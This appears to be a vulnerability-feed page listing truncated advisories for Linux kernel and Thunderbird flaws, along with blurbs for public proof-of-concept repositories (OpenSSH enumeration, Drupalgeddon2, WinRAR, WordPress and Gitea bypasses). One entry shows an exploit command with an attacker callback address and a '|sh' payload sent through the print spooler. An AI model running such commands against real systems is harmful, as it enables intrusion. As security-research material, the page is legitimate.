Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: slip: Reject VJ receive packets on instances with no rstate array. slhcinit accepts rslots == 0 as a valid configuration, which means “no receive compression”. In that case, the allocation loop in slhcinit is skipped, so...

Astra Linux – Vulnerability in Thunderbird

Thunderbird did not check whether the user ID associated with an OpenPGP key has a valid self-signature. An attacker may create a forged version of an OpenPGP key, either by replacing the original user ID or by adding another user ID. If Thunderbird imports and accepts the forged key, the...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: KVM: x86/pmu: Disabled support for adaptive PEBS. Support for virtualizing adaptive PEBS has been discontinued. This is because KVM’s implementation is architecturally broken without an obvious or easy way to address this issu...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ALSA: In the seq function, there is a issue where closing a timer that was re-opened within the destructor may cause issues. The queuedelete function closes the timer and frees it. The sndseqtimerclose function clears...

Threaded-CVE-2018-15473

CVE-2018-15473 — SSHユーザー名列挙ツール 古典的なCVE-2018-15473 OpenSSHユーザー列挙エクスプロイトをPython 3で再実装したもので、マルチスレッド、ワードリスト対応、自動脆弱性検出、スレッドセーフなエクスプロイトパッチを追加しています。 目次 脆弱性について エクスプロイトの仕組み 特徴 要件 インストール 使用方法 使用例 クレジットと原著研究 免責事項 脆弱性について CVE-2018-15473 は、OpenSSHバージョン 2.3〜7.7 に影響を与えるユーザー列挙の脆弱性です。 この脆弱性は、OpenSSHサーバーが有効な...

WiseDelete

WiseDelfile ドライバー ラッパー 標準的な Windows API では削除できないファイルを削除するために、WiseDelfile64.sys カーネルドライバーを読み込み、必要なデバイスハンドシェイクを実行し、IOCTL 要求を発行する軽量な Windows ユーティリティです。 このプロジェクトは、CVE-2025-66680 を使用して、ドライバーを読み込んだ後にユーザーモードからドライバーのファイル削除機能を呼び出す方法を示しています。 機能 実行時に WiseDelfile64.sys を読み込み・アンロードします。...

CVE-2026-4480

执行漏洞利用： python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated payload ...

check-cve-2026-23111

CVE-2026-23111 防御的検証スクリプト 概要 CVE-2026-23111 は、ユーザ名前空間と nftables が利用可能なシステムにおいて、特権のないユーザがローカル権限昇格に悪用できる Linux カーネルの nftables の脆弱性です。12 公開されたベンダーおよび政府の勧告は、これを Linux ディストリビューションに影響を与えるローカルの問題として説明し、パッチ適用を主な修正手段としています。34 このリポジトリには、防御的検証スクリプト が含まれています。これは、権限昇格のエクスプロイトを提供せずに、ホストがこの CVE...

CVE-2024-49328-exploit

CVE-2024-49328-exploit 🌟 説明: このスクリプトは、WordPress 用 WP REST API FNS プラグインの権限昇格の脆弱性を悪用します。この脆弱性は 1.0.0 までの全バージョンに影響し、認証されていない攻撃者が管理者権限を取得できるようにします。 ⚙️ 使い方 options: -h, --help show this help message and exit -u URL, --url URL Base URL of the WordPress site -e NEWEMAIL, --Newemail NEWEMAIL New email to...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831 に関する POC デモ 脆弱性の概要 CVE-2023-38831 はソフトウェアの脆弱性です。 悪用されたソフトウェアは WinRAR で、ほぼすべての人が広く使用しています。 これは、さまざまなドキュメントやファイルを小さなアーカイブ（zip ファイル形式）にまとめるソフトウェアであり、スペースを節約してファイル共有をより簡単かつ高速にするのに役立ちます。 この脆弱性は 2023 年 4 月に発見されました。 Windows オペレーティングシステムおよびバージョン 6.22 以下に影響します。...

WordPress WP User Profiles plugin <= 2.7.3 - Privilege Escalation vulnerability

Privilege Escalation vulnerability discovered by Nguyen Viet Tin in WordPress Plugin WP User Profiles versions = 2.7.3...

CVE-2023-4279

CVE ID : CVE-2023-4279 Vulnerability Type : IPアドレススプーフィング Description : このプラグインは、信頼できない可能性のあるヘッダーからクライアントのIPアドレスを取得するため、攻撃者がその値を操作できるようになります。これは、悪意のあるトラフィックの送信元を隠すために使用される可能性があります。 Steps to reproduce : 1. In User Activity Log Settings, enable the setting "Allow Ip Address of users to log." and sa...

audit-xss-cve-2020-7934

CVE 2020-7934 CVEの実行方法 必要条件 1. docker 備考 攻撃スクリプトをオンラインに配置することが可能です（JSコードを指定） http://yourjavascript.com/ 攻撃用のオンラインJSスクリプト html 設定コマンド 1. このプロジェクトのルートフォルダに移動する 2. "sudo docker-compose up --build" を実行する 3. 新しいターミナル: "docker inspect liferay" を実行する == そして IPAddress の値をコピーする 4. 新しいターミナル: "python...

CVE-2026-20896

CVE-2026-20896: Gitea Docker イメージ認証バイパス PoC !WARNING この PoC はローカルラボまたは明示的にテストを許可されたシステムでのみ使用してください。 https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b 概要 CVE-2026-20896 は、影響を受ける公式 Gitea Docker イメージにおける認証バイパスです。リバースプロキシ認証が有効な場合、イメージが生成する REVERSEPROXYTRUSTEDPROXIES =...

CVE-2018-7600

CVE-2018-7600 Drupalgeddon2 Exploit – Python3 免責事項: このプロジェクトは教育目的および許可を得た侵入テスト のみを対象としています。 自分が所有していない、または明示的な書面によるテスト許可を得ていないシステムでこのコードを使用しないでください 。 無許可での使用は違法 であり、法律で罰せられます。 作者は、このツールの誤用に対していかなる責任も負いません。 説明 このPython3スクリプトは、CVE-2018-7600（Drupalgeddon2）...

CVE-2026-105253

A vulnerability was determined in itsourcecode Online Admission System Project 1.0. This issue affects some unknown processing of the file /admin/login1.php. This manipulation of the argument User causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed...

CVE-2026-103511

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2023-3897

CVE-2023-3897 ユーザー名の列挙が可能です。On-premise SureMDM Solution on Windows deploymentにおいて、CAPTCHAをバイパスすることで、攻撃者はエラーメッセージを介してローカルユーザー情報を列挙できます。 この問題はSureMDM On-premise 6.31およびそれ以下のバージョンに影響します。 https://nvd.nist.gov/vuln/detail/CVE-2023-3897...

CVE-2026-20841

CVE-2026-20841 - Windows Notepad リモートコード実行 RCE セキュリティ研究・技術分析リポジトリ ⚠️ このリポジトリは教育、防御、研究目的のみに使用されることを意図しています。 📖 概要 CVE-2026-20841 は、Microsoft Windows Notepad の Markdown 処理機能に影響を与える重大なリモートコード実行 RCE 脆弱性です。 攻撃者は、脆弱なバージョンの Windows Notepad で特別に細工されたファイルが開かれた場合に、任意のコード実行を引き起こす可能性があります。 影響 リモートコード実行 RCE...

CVE-2026-103511

Prior to version 2026.4.2 , Perforce P4 Search is vulnerable to an arbitrary file-write flaw. The software fails to validate file names provided to its extension installation feature . An attacker possessing super-user or service-token privileges can exploit this to write files containing arbitra...